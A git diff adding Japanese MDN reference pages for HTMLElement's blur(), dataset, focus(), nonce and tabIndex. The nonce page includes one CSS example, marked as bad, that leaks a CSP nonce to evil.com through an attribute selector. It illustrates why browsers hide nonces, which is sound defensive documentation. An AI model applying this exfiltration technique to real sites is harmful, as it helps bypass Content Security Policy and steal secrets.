aboutsummaryrefslogtreecommitdiff
path: root/files/ja/web/api/htmlelement
diff options
context:
space:
mode:
Diffstat (limited to 'files/ja/web/api/htmlelement')
-rw-r--r--files/ja/web/api/htmlelement/blur/index.html89
-rw-r--r--files/ja/web/api/htmlelement/dataset/index.html146
-rw-r--r--files/ja/web/api/htmlelement/focus/index.html161
-rw-r--r--files/ja/web/api/htmlelement/nonce/index.html63
-rw-r--r--files/ja/web/api/htmlelement/tabindex/index.html85
5 files changed, 544 insertions, 0 deletions
diff --git a/files/ja/web/api/htmlelement/blur/index.html b/files/ja/web/api/htmlelement/blur/index.html
new file mode 100644
index 0000000000..5dc5470cd4
--- /dev/null
+++ b/files/ja/web/api/htmlelement/blur/index.html
@@ -0,0 +1,89 @@
+---
+title: HTMLElement.blur()
+slug: Web/API/HTMLElement/blur
+tags:
+ - API
+ - HTML DOM
+ - HTMLElement
+ - Method
+ - Reference
+translation_of: Web/API/HTMLElement/blur
+original_slug: Web/API/HTMLElement/blur
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><span class="seoSummary"><code><strong>HTMLElement.blur()</strong></code> メソッドは、現在の要素からキーボードフォーカスを取り除きます。</span></p>
+
+<h2 id="Syntax" name="Syntax">構文</h2>
+
+<pre class="syntaxbox"><em>element</em>.blur();</pre>
+
+<h2 id="Examples" name="Examples">例</h2>
+
+<h3 id="Remove_focus_from_a_text_input" name="Remove_focus_from_a_text_input">テキスト入力からフォーカスを取り除く</h3>
+
+<h4 id="HTML" name="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;input type="text" id="myText" value="サンプルテキスト"&gt;
+&lt;br&gt;&lt;br&gt;
+&lt;button type="button" onclick="focusInput()"&gt;クリックするとフォーカスを得ます&lt;/button&gt;
+&lt;button type="button" onclick="blurInput()"&gt;クリックするとフォーカスを失います&lt;/button&gt;</pre>
+
+<h4 id="JavaScript" name="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">function focusInput() {
+ document.getElementById('myText').focus();
+}
+function blurInput() {
+ document.getElementById('myText').blur();
+}</pre>
+
+<h4 id="Result" name="Result">結果</h4>
+
+<p>{{ EmbedLiveSample('Remove_focus_from_a_text_input') }}</p>
+
+<h2 id="Specification" name="Specification">仕様</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">仕様</th>
+ <th scope="col">状態</th>
+ <th scope="col">コメント</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'editing.html#dom-blur', 'blur')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', 'editing.html#blur()-0', 'blur')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'editing.html#dom-blur', 'blur')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 HTML', 'html.html#ID-28216144', 'blur')}}</td>
+ <td>{{Spec2('DOM2 HTML')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.blur")}}</p>
+
+<h2 id="See_also" name="See_also">関連情報</h2>
+
+<ul>
+ <li>DOM メソッドの {{domxref("HTMLElement.focus()")}}</li>
+</ul>
diff --git a/files/ja/web/api/htmlelement/dataset/index.html b/files/ja/web/api/htmlelement/dataset/index.html
new file mode 100644
index 0000000000..bfdcffc940
--- /dev/null
+++ b/files/ja/web/api/htmlelement/dataset/index.html
@@ -0,0 +1,146 @@
+---
+title: HTMLElement.dataset
+slug: Web/API/HTMLElement/dataset
+tags:
+ - API
+ - HTML DOM
+ - HTMLElement
+ - HTMLElement
+ - Property
+ - Read-only
+ - Reference
+ - SVG
+ - SVG Custom Attributes
+ - SVG2
+ - SVGElement
+ - dataset
+ - プロパティ
+ - 読取専用
+translation_of: Web/API/HTMLElement/dataset
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary"><strong><code>dataset</code></strong> は {{DOMxRef("HTMLElement")}} インターフェイスのプロパティで、要素に設定されたすべての<a href="/ja/docs/Web/HTML/Global_attributes#attr-data-*">カスタムデータ属性</a> (<code>data-*</code>) への読み取り/書き込みアクセスを提供します。</span> このアクセスは、 HTML と DOM の両方の中で利用できます。これは {{domxref("DOMString")}} のマップ ({{domxref("DOMStringMap")}}) で、1つのカスタムデータ属性が1つのエントリに対応します。なお、 <code>dataset</code> プロパティ自体は読み取ることができますが、直接書き込むことはできません。代わりに、すべての書き込みは <code>dataset</code> 内の個々のプロパティに対して行われる必要があり、それはデータ属性を表します。また、 HTML の <strong><code>data-</code></strong><em>属性</em>とそれに対応する DOM <code>dataset.</code><em>プロパティ</em> は同じ名前を共有しませんが、次のように常に近いものになります。</p>
+
+<ul>
+ <li>HTML のカスタムデータ属性の名前は、 <code>data-</code> で始まります。 文字、数字、およびダッシュ (<code>-</code>)、ドット (<code>.</code>)、コロン (<code>:</code>)、アンダースコア (<code>_</code>) のみを含める必要がありますが、 ASCII 大文字の <code>A</code> から <code>Z</code> は使用できません。</li>
+ <li>JavaScript のカスタムデータ属性の名前は、同じ HTML 属性の名前ですが、キャメルケース (camelCase) であり、ダッシュ、ドットなどは含みません。</li>
+</ul>
+
+<p>以下の情報に加えて、<a href="/ja/docs/Learn/HTML/Howto/Use_data_attributes">データ属性の使用</a>の記事に、HTML データ属性の使用方法に関するガイドがあります。</p>
+
+<h3 id="Name_conversion" name="Name_conversion">名前変換</h3>
+
+<p><strong>ダッシュスタイルからキャメルケースへ:</strong> カスタムデータ属性名は、次のルールに従って {{ domxref("DOMStringMap") }} エントリのキーに変換されます。</p>
+
+<ul>
+ <li>プレフィックスの <code>data-</code> が (ダッシュを含め) 削除されます。</li>
+ <li>ダッシュ (<code>U+002D</code>) に ASCII 小文字の <code>a</code> から <code>z</code> が続く場合、ダッシュは削除され、文字は対応する大文字に変換されます。</li>
+ <li>他の文字 (他のダッシュを含む) は変更されません。</li>
+</ul>
+
+<p><strong>キャメルケースからダッシュスタイルへ:</strong> キーを属性名にマッピングする逆の変換では、次のルールが使用されます。</p>
+
+<ul>
+ <li>制約事項: ダッシュの直後に ASCII 小文字 <code>a</code> から <code>z</code> を続けてはなりません (変換前)。</li>
+ <li>接頭辞として <code>data-</code> が追加されます。</li>
+ <li>ASCII 大文字の <code>A</code> から <code>Z</code> は、ダッシュと、その後に対応する小文字が続くものに変換されます。</li>
+ <li>他の文字は変更されません。</li>
+</ul>
+
+<p>上記の規則の制約事項により、2つの変換が互いに逆変換になります。</p>
+
+<p>例えば、<code>data-abc-def</code> という名前の属性は、キー <code>abcDef</code> に対応します。</p>
+
+<ul>
+</ul>
+
+<h3 id="Accessing_values" name="Accessing_values">値へのアクセス</h3>
+
+<ul>
+ <li>属性は dataset のオブジェクトプロパティのようにキャメルケース名 (キー) を使用して、 <code><em>element.</em>dataset.<em>keyname</em></code> のように設定したり読み取ったりすることができます。</li>
+ <li>属性はブラケット構文を使用して、 <code><em>element.</em>dataset[<em>keyname</em>]</code> のように設定したり読み取ったりすることもできます。</li>
+ <li><a href="/ja/docs/Web/JavaScript/Reference/Operators/in"><code>in</code> 演算子</a>を使用して、特定の属性が存在するかどうかを確認できます。</li>
+</ul>
+
+<h3 id="Setting_values" name="Setting_values">値の設定</h3>
+
+<ul>
+ <li>属性が設定されると、その値は常に文字列に変換されます。 例えば、<code>null</code> は文字列 "null" に変換されます。</li>
+ <li>属性を削除する場合は、<a href="/ja/docs/Web/JavaScript/Reference/Operators/delete"><code>delete</code> 演算子</a>を使用できます。</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">構文</h2>
+
+<pre class="syntaxbox">const <em>dataAttrMap</em> = <em>element</em>.dataset
+</pre>
+
+<h3 id="Value" name="Value">値</h3>
+
+<p>{{domxref("DOMStringMap")}} です。</p>
+
+<h2 id="Examples" name="Examples">例</h2>
+
+<pre class="brush: html">&lt;div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth&gt;John Doe&lt;/div&gt;</pre>
+
+<pre class="brush: js">const el = document.querySelector('#user');
+
+// el.id === 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+// データ属性の設定
+el.dataset.dateOfBirth = '1960-10-03';
+// 結果: el.dataset.dateOfBirth === 1960-10-03
+
+delete el.dataset.dateOfBirth;
+// 結果: el.dataset.dateOfBirth === undefined
+
+// 'someDataAttr' in el.dataset === false
+el.dataset.someDataAttr = 'mydata';
+// 結果: 'someDataAttr' in el.dataset === true
+</pre>
+
+<h2 id="Specifications" name="Specifications">仕様書</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">仕様書</th>
+ <th scope="col">状態</th>
+ <th scope="col">備考</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>最新のスナップショットである {{SpecName('HTML5.1')}} から変更なし</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>{{SpecName('HTML WHATWG')}} のスナップショット、 {{SpecName('HTML5 W3C')}} からの変更なし</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>{{SpecName('HTML WHATWG')}} のスナップショット、初回定義</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2>
+
+<p>{{Compat("api.HTMLElement.dataset")}}</p>
+
+<div class="hidden">Please change the compat macro's paramter to <code>api.HTMLElement.dataset</code> after BCD is updated.</div>
+
+<h2 id="See_also" name="See_also">関連情報</h2>
+
+<ul>
+ <li>HTML の <code><a href="/ja/docs/Web/HTML/Global_attributes/data-*"><strong>data-*</strong></a></code> クラスのグローバル属性</li>
+ <li><a href="/ja/docs/Learn/HTML/Howto/Use_data_attributes">データ属性の使用</a></li>
+ <li>{{domxref("Element.getAttribute()")}} および {{domxref("Element.setAttribute()")}}</li>
+</ul>
diff --git a/files/ja/web/api/htmlelement/focus/index.html b/files/ja/web/api/htmlelement/focus/index.html
new file mode 100644
index 0000000000..42129a1465
--- /dev/null
+++ b/files/ja/web/api/htmlelement/focus/index.html
@@ -0,0 +1,161 @@
+---
+title: HTMLElement.focus()
+slug: Web/API/HTMLElement/focus
+tags:
+ - API
+ - Focus
+ - HTML DOM
+ - HTMLElement
+ - Method
+ - Reference
+ - Scroll
+ - View
+ - activate
+translation_of: Web/API/HTMLElement/focus
+original_slug: Web/API/HTMLElement/focus
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><span class="seoSummary"><strong><code>HTMLElement.focus()</code></strong> メソッドは、指定された要素にフォーカスを設定できる場合、フォーカスを設定します。 フォーカスされた要素は、デフォルトでキーボードや同様のイベントを受け取る要素です。</span></p>
+
+<h2 id="Syntax" name="Syntax">構文</h2>
+
+<pre class="syntaxbox"><em>element</em>.focus(<em>options</em>); // Object parameter</pre>
+
+<h3 id="Parameters" name="Parameters">パラメーター</h3>
+
+<dl>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>フォーカスプロセスの側面を制御するオプションを提供するオプションのオブジェクト。 このオブジェクトには、次のプロパティが含まれる場合があります。</dd>
+ <dd>
+ <dl>
+ <dt><code>preventScroll</code> {{optional_inline}}</dt>
+ <dd>ブラウザーがドキュメントをスクロールして、新しくフォーカスされた要素を表示するかどうかを示す <code>Boolean</code> の値。 <code>preventScroll</code> の値が <code>false</code>(デフォルト)の場合、ブラウザーは要素をフォーカスした後、その要素をスクロールして表示します。 <code>preventScroll</code> が <code>true</code> に設定されている場合、スクロールしません。</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Examples" name="Examples">例</h2>
+
+<h3 id="Focus_on_a_text_field" name="Focus_on_a_text_field">テキストフィールドにフォーカスする</h3>
+
+<h4 id="JavaScript" name="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">focusMethod = function getFocus() {
+ document.getElementById("myTextField").focus();
+}</pre>
+
+<h4 id="HTML" name="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;input type="text" id="myTextField" value="テキストフィールド"&gt;
+&lt;p&gt;&lt;/p&gt;
+&lt;button type="button" onclick="focusMethod()"&gt;クリックしてテキストフィールドにフォーカスしてください!&lt;/button&gt;
+</pre>
+
+<h4 id="Result" name="Result">結果</h4>
+
+<p>{{ EmbedLiveSample('Focus_on_a_text_field') }}</p>
+
+<h3 id="Focus_on_a_button" name="Focus_on_a_button">ボタンにフォーカスする</h3>
+
+<h4 id="JavaScript_2" name="JavaScript_2">JavaScript</h4>
+
+<pre class="brush: js">focusMethod = function getFocus() {
+ document.getElementById("myButton").focus();
+}
+</pre>
+
+<h4 id="HTML_2" name="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;button type="button" id="myButton"&gt;クリックしてください!&lt;/button&gt;
+&lt;p&gt;&lt;/p&gt;
+&lt;button type="button" onclick="focusMethod()"&gt;クリックしてボタンにフォーカスしてください!&lt;/button&gt;
+</pre>
+
+<h4 id="Result_2" name="Result_2">結果</h4>
+
+<p>{{ EmbedLiveSample('Focus_on_a_button') }}</p>
+
+<h3 id="Focus_prevent_scroll" name="Focus_prevent_scroll">focusOption でフォーカスする</h3>
+
+<h4 id="JavaScript_3" name="JavaScript_3">JavaScript</h4>
+
+<pre class="brush: js">focusScrollMethod = function getFocus() {
+ document.getElementById("myButton").focus({preventScroll:false});
+}
+focusNoScrollMethod = function getFocusWithoutScrolling() {
+ document.getElementById("myButton").focus({preventScroll:true});
+}
+
+</pre>
+
+<h4 id="HTML_3" name="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;button type="button" onclick="focusScrollMethod()"&gt;クリックしてボタンにフォーカスしてください!&lt;/button&gt;
+&lt;button type="button" onclick="focusNoScrollMethod()"&gt;クリックしてスクロールせずにボタンにフォーカスしてください!&lt;/button&gt;
+
+&lt;div id="container" style="height: 1000px; width: 1000px;"&gt;
+&lt;button type="button" id="myButton" style="margin-top: 500px;"&gt;クリックしてください!&lt;/button&gt;
+&lt;/div&gt;
+
+</pre>
+
+<h4 id="Result_3" name="Result_3">結果</h4>
+
+<p>{{ EmbedLiveSample('Focus_prevent_scroll') }}</p>
+
+<h2 id="Specification" name="Specification">仕様</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">仕様</th>
+ <th scope="col">状態</th>
+ <th scope="col">コメント</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}</td>
+ <td>{{Spec2('DOM2 HTML')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Notes" name="Notes">ノート</h2>
+
+<p><code>mousedown</code> イベントハンドラから <code>HTMLElement.focus()</code> を呼び出す場合は、<code>event.preventDefault()</code> を呼び出して、フォーカスがその <code>HTMLElement</code> から離れないようにする必要があります。</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.focus")}}</p>
+
+<h2 id="See_also" name="See_also">関連情報</h2>
+
+<ul>
+ <li>要素からフォーカスを取り除く DOM メソッド {{domxref("HTMLElement.blur()")}}。</li>
+ <li>現在フォーカスされている要素がどれであるかを知るための {{ domxref("document.activeElement") }}。</li>
+</ul>
diff --git a/files/ja/web/api/htmlelement/nonce/index.html b/files/ja/web/api/htmlelement/nonce/index.html
new file mode 100644
index 0000000000..230781b021
--- /dev/null
+++ b/files/ja/web/api/htmlelement/nonce/index.html
@@ -0,0 +1,63 @@
+---
+title: HTMLElement.nonce
+slug: Web/API/HTMLElement/nonce
+tags:
+ - API
+ - Content Security Policy
+ - Experimental
+ - HTML DOM
+ - HTMLElement
+ - Property
+ - Reference
+ - nonce
+translation_of: Web/API/HTMLElement/nonce
+original_slug: Web/API/HTMLElement/nonce
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary"><strong><code>nonce</code></strong> は {{DOMxRef("HTMLElement")}} ミックスインのプロパティで、特定のフェッチを続行できるかどうかを決定するためにコンテンツセキュリティポリシー (<a href="/ja/docs/Web/HTTP/CSP">Content Security Policy</a>) で使用される一度だけの暗号化番号を返します。</span></p>
+
+<p>後の実装では、 <code>nonce</code> 属性を持つ要素はスクリプトにのみ公開します (CSS 属性セレクターのようなサイドチャネルには公開しません)。</p>
+
+<h2 id="Examples">例</h2>
+
+<h3 id="Retrieving_a_nonce_value">ノンス値の受け取り</h3>
+
+<p>以前は、すべてのブラウザーが IDL 属性の <code>nonce</code> に対応しているわけではなかったので、回避策としては、代替として <code><a href="/ja/docs/Web/API/Element/getAttribute">getAttribute</a></code> を使用するようにしていました。</p>
+
+<pre class="brush: js">let nonce = script['nonce'] || script.getAttribute('nonce');</pre>
+
+<p>しかし、最近のバージョンのブラウザーでは、この方法でアクセスすると <code>nonce</code> の値を隠します (空の文字列が返されます)。 IDL プロパティ (<code>script['nonce']</code>) がノンスにアクセスする唯一の方法となります。</p>
+
+<p>ノンスを隠蔽することは、攻撃者が以下のようなコンテンツ属性からデータを取得できるメカニズムを介してノンスデータを流出させることを防ぐのに役立ちます。</p>
+
+<pre class="brush: css example-bad">script[nonce~=whatever] {
+ background: url("https://evil.com/nonce?whatever");
+}</pre>
+
+<h2 id="Specifications">仕様書</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">仕様書</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">ブラウザーの互換性</h2>
+
+<p>{{Compat("api.HTMLElement.nonce")}}</p>
+
+<h2 id="See_also">関連情報</h2>
+
+<ul>
+ <li><a href="/ja/docs/Web/HTML/Global_attributes/nonce"><code>nonce</code> グローバル属性</a></li>
+ <li><a href="/ja/docs/Web/HTTP/CSP">コンテンツセキュリティポリシー</a></li>
+ <li>CSP: {{CSP("script-src")}}</li>
+</ul>
diff --git a/files/ja/web/api/htmlelement/tabindex/index.html b/files/ja/web/api/htmlelement/tabindex/index.html
new file mode 100644
index 0000000000..c327f1b168
--- /dev/null
+++ b/files/ja/web/api/htmlelement/tabindex/index.html
@@ -0,0 +1,85 @@
+---
+title: HTMLElement.tabIndex
+slug: Web/API/HTMLElement/tabIndex
+tags:
+ - API
+ - HTML DOM
+ - HTMLElement
+ - HTMLElement
+ - Property
+ - Reference
+ - tabIndex
+translation_of: Web/API/HTMLElement/tabIndex
+original_slug: Web/API/HTMLElement/tabIndex
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary"><strong><code>tabIndex</code></strong> は {{DOMxRef("HTMLElement")}} インターフェイスのプロパティで、現在の要素のタブの順序を表します。</span></p>
+
+<p>タブの順序は次のとおりです。</p>
+
+<ol>
+ <li>正の <code>tabIndex</code> を持つ要素。 同一の <code>tabIndex</code> を持つ要素は、表示された順序でナビゲートすべきです。 ナビゲーションは、最も低い <code>tabIndex</code> から最も高い <code>tabIndex</code> に進みます</li>
+ <li><code>tabIndex</code> 属性をサポートしていない要素、または <code>tabIndex</code> 属性をサポートし、 <code>tabIndex</code> を <code>0</code> に割り当てる要素は、それらが表示された順序で。</li>
+</ol>
+
+<p>無効になっている要素は、タブの順序に関与しません。</p>
+
+<p>値は逐次的である必要はなく、特定の値で始まる必要もありません。 各ブラウザーは非常に大きな値を切り取りますが、値は負である場合もあります。</p>
+
+<h2 id="Syntax" name="Syntax">構文</h2>
+
+<pre class="syntaxbox"><em>element</em>.tabIndex = <em>index</em>;
+var <em>index</em> = <em>element</em>.tabIndex;
+</pre>
+
+<h3 id="Value" name="Value">値</h3>
+
+<p><code>index</code> は整数です。</p>
+
+<h2 id="Example" name="Example">例</h2>
+
+<pre class="brush:js">const b1 = document.getElementById('button1');
+
+b1.tabIndex = 1;
+</pre>
+
+<h2 id="Specifications" name="Specifications">仕様書</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">仕様書</th>
+ <th scope="col">状態</th>
+ <th scope="col">備考</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#dom-tabindex', 'tabindex')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>{{SpecName('DOM2 HTML')}} からの変更なし。</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 HTML', 'html.html#ID-40676705', 'tabindex')}}</td>
+ <td>{{Spec2('DOM2 HTML')}}</td>
+ <td>{{SpecName('DOM1')}} からの変更なし。</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-html.html#ID-40676705', 'tabindex')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>初回定義</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2>
+
+<p>{{Compat("api.HTMLElement.tabIndex")}}</p>
+
+<h2 id="See_also" name="See_also">関連情報</h2>
+
+<ul>
+ <li><a href="/ja/docs/Web/Accessibility/Keyboard-navigable_JavaScript_widgets">キーボードでナビゲート可能な JavaScript ウィジェットのアクセシビリティ</a></li>
+ <li>HTML の <a href="/ja/docs/Web/HTML/Global_attributes/tabindex"><strong>tabindex</strong></a> グローバル属性</li>
+</ul>